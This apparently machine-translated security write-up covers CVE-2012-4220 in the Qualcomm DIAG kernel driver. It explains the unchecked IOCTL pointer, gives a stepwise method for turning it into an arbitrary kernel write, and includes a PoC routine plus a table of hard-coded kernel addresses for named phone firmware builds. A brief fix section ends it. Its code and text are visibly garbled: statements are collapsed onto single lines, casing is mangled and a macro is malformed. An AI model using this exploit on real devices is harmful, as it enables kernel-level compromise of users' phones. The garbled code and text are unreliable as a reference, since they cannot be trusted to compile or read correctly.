/*
This article is prepared by Mo Gray Ash, reproduced please indicate the source.
mo Ash Gray mailbox: [email protected]
*/
1. Vulnerability description
When processing the IOCTL system invocation parameters of the DIAG device, some unauthenticated references are used from the user layer's non-trusted pointers. For locally installed applications, this vulnerability could be used to implement a denial of service attack, or to execute arbitrary code under the kernel.
2. Vulnerability Analysis
} else if (Iocmd = = diag_ioctl_get_delayed_rsp_id) {struct Diagpkt_delay_params *delay_params = (struct Diagpkt_delay_ params *) ioarg;if ((delay_params->rsp_ptr) && (delay_params->size = = sizeof (delayed_rsp_id)) && (DELAY_PARAMS->NUM_BYTES_PTR)) {* ((uint16_t *) delay_params->rsp_ptr) =diagpkt_next_delayed_rsp_id (delayed_rsp_id); * (delay_params->num_ BYTES_PTR) = sizeof (DELAYED_RSP_ID);
As can be seen from the above code, the Diag driver in the processing diag_ioctl_get_delayed_rsp_id does not pass down the user layer of the parameters to do any validation of the direct use, then the simplest attack is the kernel denial of service attack, that is, the delay_params- >rsp_ptr is written as an invalid address. Well, there's obviously a more advanced way to exploit this vulnerability.
* ((uint16_t *) delay_params->rsp_ptr) = diagpkt_next_delayed_rsp_id (delayed_rsp_id); This assignment operation, you can modify the value of Delay_params->rsp_ptr, the code of the DIAGPKT_NEXT_DELAYED_RSP_ID macro is as follows:
#define DIAGPKT_MAX_DELAYED_RSP 0xffff#define diagpkt_next_delayed_rsp_id (x < DIAGPKT_MAX_DELAYED_RSP)? x + +: DIAGPKT_MAX_DELAYED_RSP)
Every time the DIAGPKT_NEXT_DELAYED_RSP_ID macro is called, then the global variable delayed_rsp_id will be +1, and finally equal to the maximum value of ushort, that is, 0xFFFF is no longer + 1.
How to use:
Once we know the principle, we can change the 2 bytes of each IOCTL call.
1. Get the current delayed_rsp_id value through the IOCTL
2. If the value of delayed_rsp_id is greater than the value we need, then pass * (delay_params->num_bytes_ptr) = sizeof (delayed_rsp_id); reset delayed_rsp_id to 2 (delayed_rsp_id address needs to be hard-coded)
3. The number of loops received, Loop_count = (data_we_want-delayed_rsp_id_value) & 0xFFFF;
4. Finally change the value of the Delay_params->rsp_ptr address to the value we need, so as to achieve the purpose of any address modification
5. If you are modifying a 4-byte function address, you can modify it by two times
3.PoC
Static Boolinject_value (struct diag_values *data, int fd, void *delayed_rsp_id_address) { uint16_t delayed_rsp _id_value = 0; int I, Loop_count, ret; By the IOCTL call, get the value of the current delayed_rsp_id ret = get_current_delayed_rsp_id (FD); if (Ret < 0) { return false; } Delayed_rsp_id_value = ret; Data->original_value = Delayed_rsp_id_value; If the value of delayed_rsp_id is larger than we need, then reset it //where delayed_rsp_id_address address is hard-coded to get if (Delayed_rsp_id_value > Data->value && reset_delayed_rsp_id (FD, delayed_rsp_id_address) < 0) { return false; } Get the number of cycles Loop_count = (data->value-delayed_rsp_id_value) & 0xFFFF; Using the delayed_rsp_id value for each invocation of the +1 attribute, modify the value for the values we need for (i = 0; i < Loop_count; i++) { int unused; if (Send_delay_params (FD, (void *) data->address, &unused) < 0) { return false; } } return true;}
The hard-coded addresses of delayed_rsp_id_address are as follows:
Static Supported_device supported_devices[] = { {device_f03d_v24r33cc, 0xc0777dd0}, {device_f11d_ v21r36a, 0xc092f1a4}, {device_f11d_v24r40a, 0xc091bf8c}, {device_f11d_v26r42b, 0xc091bf8c} , {device_f12c_v21, 0xc075aca4}, {device_is17sh_01_00_03, 0xc0a546fc}, {Device_is11n_ GRJ90, 0xc0835758}, {device_isw11k_145_0_0002, 0xc07f93a4}, {device_sc01e_lj3, 0xc0bdfae0}, {DEVICE_SC05D_LPL, 0xc0cb0924}, {device_scl21_ljd, 0xc0b96128}, {device_so05d_7_0_d_ 1_117, 0xc0b8840c}, {device_isw12k_010_0_3000, 0xc0935104},};
4. Bug Fixes
Use the Copy_from_user and Copy_to_user functions to ensure the correctness of the incoming parameters of the user layer, rather than using them directly.
Reference article: https://www.codeaurora.org/projects/security-advisories/ multiple-issues-diagkgsl-system-call-handling-cve-2012-4220-cve-2012